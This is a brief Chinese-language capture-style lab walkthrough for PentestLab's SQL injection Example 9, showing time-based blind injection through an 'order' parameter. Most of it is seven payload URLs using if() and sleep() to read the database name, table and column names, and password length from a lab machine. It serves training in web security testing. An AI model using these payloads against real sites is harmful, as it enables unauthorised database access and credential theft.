PentestLab-web安全SQL注入-EXP9

我们打开靶机，选择“SQL Injections”

选择“Example9”

观察页面

盲注的方法如下：

无回显，使用延时注入

注入点

​​http://192.168.1.142/sqli/example9.php?order=if(length(database())>9,sleep(10),1)%23​​

payload为

http://192.168.1.142/sqli/example9.php?order=if(length(database())>9,sleep(10),1)%23
http://192.168.1.142/sqli/example9.php?order=if(ascii(substr(database(),1,1))>101,sleep(10),1)%23
http://192.168.1.142/sqli/example9.php?order=if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>4,sleep(10),1)%23
http://192.168.1.142/sqli/example9.php?order=if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>118,sleep(10),1)%23
http://192.168.1.142/sqli/example9.php?order=if(length((select column_name from information_schema.columns where table_name=unhex(7573657273) limit 1,1))>4,sleep(10),1)%23
http://192.168.1.142/sqli/example9.php?order=if(ascii(substr((select column_name from information_schema.columns where table_name=unhex(7573657273) limit 0,1),1,1))>105,sleep(10),1)%23
http://192.168.1.142/sqli/example9.php?order=if(length((select passwd from users  limit 0,1))>5,sleep(10),1)%23

观察靶机的源代码

使用函数过滤sql查询，

可以参考网上的payload